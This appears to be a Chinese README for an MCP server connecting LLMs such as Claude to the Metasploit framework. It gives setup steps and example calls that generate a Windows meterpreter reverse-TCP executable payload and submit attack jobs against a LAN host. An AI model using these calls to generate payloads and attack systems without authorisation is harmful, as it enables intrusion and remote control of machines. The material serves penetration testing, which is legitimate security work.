MetaSploit MCP 服务器将大型语言模型(如Claude)与MetaSploit框架集成,借助标准化工具提供自然语言界面,让AI助手能动态访问和控制MetaSploit功能,极大地简化了复杂的渗透测试工作流程。
此 MCP 服务器为大型语言模型(如Claude)与MetaSploit 框架之间建立了一个桥梁。它使人工智能助手能够直接调用和控制 MetaSploit 的功能,从而实现复杂的安全测试工作流程的自然语言接口。
MSF_PATH 环境变量指向 MetaSploit 的安装目录。PAYLOAD_SAVE_DIR 环境变量指定载荷保存路径。克隆项目仓库:
git clone https://github.com/yourusername/metasploit-mcp.git
cd metasploit-mcp
创建并激活虚拟环境(推荐使用 Python 3 虚拟环境):
python -m venv mcp-venv
source mcp-venv/bin/activate # 对于 Linux/macOS
mcp-venv\Scripts\activate # 对于 Windows
安装依赖项:
pip install -r requirements.txt
python server.py
# 列举可用的 exploits
list_exploits()
# 生成自定义 payload
generate_payload(exploit_type="windows/meterpreter/reverse_tcp",
output_format="exe",
parameters={"LHOST": "192.168.1.10", "LPORT": 4444})
# 提交攻击任务
submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)
# 列举可用的 exploits
list_exploits() # 返回所有可用 exploit 的列表
# 生成自定义 payload
generate_payload(exploit_type="windows/x64/meterpreter/reverse_tcp",
output_format="exe",
parameters={"LHOST": "192.168.1.1", "LPORT": 4444})
# 提交攻击任务
submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)
# 查看所有任务
list_jobs() # 返回所有正在运行和已完成的任务列表
# 终止特定任务
terminate_job(job_id=1) # 中止指定任务 ID 的执行
默认情况下,生成的载荷将保存到用户主目录下的 payloads 文件夹中。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量自定义此路径:
设置方法:
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
{
"env": {
"MSF_PATH": "/opt/metasploit",
"PAYLOAD_SAVE_DIR": "/var/custom/payloads"
}
}
注意:如果您指定的路径不存在,程序将尝试自动创建它。如果无法创建,请确保应用程序有权限访问该目录。
本项目遵循 Apache 2.0 许可证协议。